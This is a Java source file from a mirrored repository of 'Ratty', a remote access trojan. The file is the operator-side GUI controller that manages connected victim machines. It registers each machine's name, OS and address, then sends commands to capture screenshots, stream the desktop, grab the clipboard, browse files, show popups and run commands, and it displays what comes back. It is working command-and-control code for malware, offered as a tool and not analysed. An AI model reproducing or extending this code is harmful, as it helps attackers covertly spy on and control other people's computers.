mirror of https://github.com/LucaBongiorni/Ratty
You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
205 lines
6.2 KiB
205 lines
6.2 KiB
package de.sogomn.rat.server.gui;
|
|
|
|
import java.awt.image.BufferedImage;
|
|
import java.util.ArrayList;
|
|
|
|
import de.sogomn.rat.ActiveClient;
|
|
import de.sogomn.rat.IClientObserver;
|
|
import de.sogomn.rat.packet.ClipboardPacket;
|
|
import de.sogomn.rat.packet.CommandPacket;
|
|
import de.sogomn.rat.packet.DesktopStreamPacket;
|
|
import de.sogomn.rat.packet.FileSystemPacket;
|
|
import de.sogomn.rat.packet.FreePacket;
|
|
import de.sogomn.rat.packet.IPacket;
|
|
import de.sogomn.rat.packet.InformationPacket;
|
|
import de.sogomn.rat.packet.PopupPacket;
|
|
import de.sogomn.rat.packet.ScreenshotPacket;
|
|
import de.sogomn.rat.server.ActiveServer;
|
|
import de.sogomn.rat.server.IServerObserver;
|
|
import de.sogomn.rat.util.FrameEncoder.IFrame;
|
|
|
|
public final class RattyGuiController implements IServerObserver, IClientObserver, IGuiController {
|
|
|
|
private RattyGui gui;
|
|
|
|
private ArrayList<ServerClient> clients;
|
|
private long nextId;
|
|
|
|
public RattyGuiController(final RattyGui gui) {
|
|
this.gui = gui;
|
|
|
|
clients = new ArrayList<ServerClient>();
|
|
|
|
gui.setController(this);
|
|
}
|
|
|
|
private ServerClient getServerClient(final long id) {
|
|
for (final ServerClient client : clients) {
|
|
if (client.id == id) {
|
|
return client;
|
|
}
|
|
}
|
|
|
|
return null;
|
|
}
|
|
|
|
private ServerClient getServerClient(final ActiveClient client) {
|
|
for (final ServerClient serverClient : clients) {
|
|
if (serverClient.client == client) {
|
|
return serverClient;
|
|
}
|
|
}
|
|
|
|
return null;
|
|
}
|
|
|
|
private IPacket getPacket(final String command, final ServerClient serverClient) {
|
|
if (command == RattyGui.POPUP) {
|
|
return PopupPacket.create();
|
|
} else if (command == RattyGui.FREE) {
|
|
return new FreePacket();
|
|
} else if (command == RattyGui.SCREENSHOT) {
|
|
return new ScreenshotPacket();
|
|
} else if (command == RattyGui.COMMAND) {
|
|
return CommandPacket.create();
|
|
} else if (command == RattyGui.DESKTOP) {
|
|
return new DesktopStreamPacket(true);
|
|
} else if (command == RattyGui.CLIPBOARD) {
|
|
return new ClipboardPacket();
|
|
} else if (command == FileTreePanel.REQUEST) {
|
|
final String path = serverClient.getTreePanel().getLastPathClicked();
|
|
final FileSystemPacket packet = new FileSystemPacket(path);
|
|
|
|
return packet;
|
|
}
|
|
|
|
return null;
|
|
}
|
|
|
|
private void handle(final ServerClient serverClient, final ScreenshotPacket packet) {
|
|
final BufferedImage image = packet.getImage();
|
|
|
|
serverClient.getDisplayPanel().showImage(image);
|
|
}
|
|
|
|
private void handle(final ServerClient serverClient, final DesktopStreamPacket packet) {
|
|
final IFrame frame = packet.getFrame();
|
|
final int screenWidth = packet.getScreenWidth();
|
|
final int screenHeight = packet.getScreenHeight();
|
|
final DesktopStreamPacket request = new DesktopStreamPacket();
|
|
final DisplayPanel displayPanel = serverClient.getDisplayPanel();
|
|
|
|
displayPanel.showFrame(frame, screenWidth, screenHeight);
|
|
serverClient.client.addPacket(request);
|
|
}
|
|
|
|
private void handle(final ServerClient serverClient, final FileSystemPacket packet) {
|
|
final String[] paths = packet.getPaths();
|
|
final FileTreePanel treePanel = serverClient.getTreePanel();
|
|
|
|
for (final String path : paths) {
|
|
treePanel.addFile(path);
|
|
}
|
|
}
|
|
|
|
private void handle(final ServerClient serverClient, final InformationPacket packet) {
|
|
final long id = serverClient.id;
|
|
final String name = packet.getName();
|
|
final String address = serverClient.client.getAddress();
|
|
final String os = packet.getOs();
|
|
final String version = packet.getVersion();
|
|
|
|
serverClient.logIn(name, os, version);
|
|
serverClient.setController(this);
|
|
gui.addTableRow(id, name, address, os, version);
|
|
}
|
|
|
|
@Override
|
|
public void packetReceived(final ActiveClient client, final IPacket packet) {
|
|
final ServerClient serverClient = getServerClient(client);
|
|
final boolean loggedIn = serverClient.isLoggedIn();
|
|
|
|
if (loggedIn) {
|
|
if (packet instanceof ScreenshotPacket) {
|
|
final ScreenshotPacket screenshot = (ScreenshotPacket)packet;
|
|
|
|
handle(serverClient, screenshot);
|
|
} else if (packet instanceof DesktopStreamPacket && serverClient.isStreamingDesktop()) {
|
|
final DesktopStreamPacket stream = (DesktopStreamPacket)packet;
|
|
|
|
handle(serverClient, stream);
|
|
} else if (packet instanceof FileSystemPacket) {
|
|
final FileSystemPacket file = (FileSystemPacket)packet;
|
|
|
|
handle(serverClient, file);
|
|
} else {
|
|
packet.execute(client);
|
|
}
|
|
} else if (packet instanceof InformationPacket) {
|
|
final InformationPacket information = (InformationPacket)packet;
|
|
|
|
handle(serverClient, information);
|
|
}
|
|
}
|
|
|
|
@Override
|
|
public void disconnected(final ActiveClient client) {
|
|
final ServerClient serverClient = getServerClient(client);
|
|
final long id = serverClient.id;
|
|
|
|
client.setObserver(null);
|
|
client.close();
|
|
clients.remove(client);
|
|
|
|
gui.removeTableRow(id);
|
|
}
|
|
|
|
@Override
|
|
public void clientConnected(final ActiveServer server, final ActiveClient client) {
|
|
final long id = nextId++;
|
|
final ServerClient serverClient = new ServerClient(id, client);
|
|
final InformationPacket packet = new InformationPacket();
|
|
|
|
client.setObserver(this);
|
|
clients.add(serverClient);
|
|
client.start();
|
|
client.addPacket(packet);
|
|
}
|
|
|
|
@Override
|
|
public void closed(final ActiveServer server) {
|
|
//...
|
|
}
|
|
|
|
@Override
|
|
public void userInput(final String command) {
|
|
final long lastIdClicked = gui.getLastIdClicked();
|
|
final ServerClient serverClient = getServerClient(lastIdClicked);
|
|
final IPacket packet = getPacket(command, serverClient);
|
|
|
|
if (packet != null) {
|
|
serverClient.client.addPacket(packet);
|
|
}
|
|
|
|
if (command == RattyGui.DESKTOP) {
|
|
serverClient.setStreamingDesktop(true);
|
|
gui.setStreaming(lastIdClicked, true);
|
|
} else if (command == RattyGui.DESKTOP_STOP) {
|
|
serverClient.setStreamingDesktop(false);
|
|
gui.setStreaming(lastIdClicked, false);
|
|
} else if (command == RattyGui.FILES) {
|
|
serverClient.getTreePanel().setVisible(true);
|
|
}
|
|
}
|
|
|
|
@Override
|
|
public void keyboardInput(final int key, final boolean flag) {
|
|
//...
|
|
}
|
|
|
|
@Override
|
|
public void mouseInput(final int x, final int y, final int button, final boolean flag) {
|
|
//...
|
|
}
|
|
|
|
}
|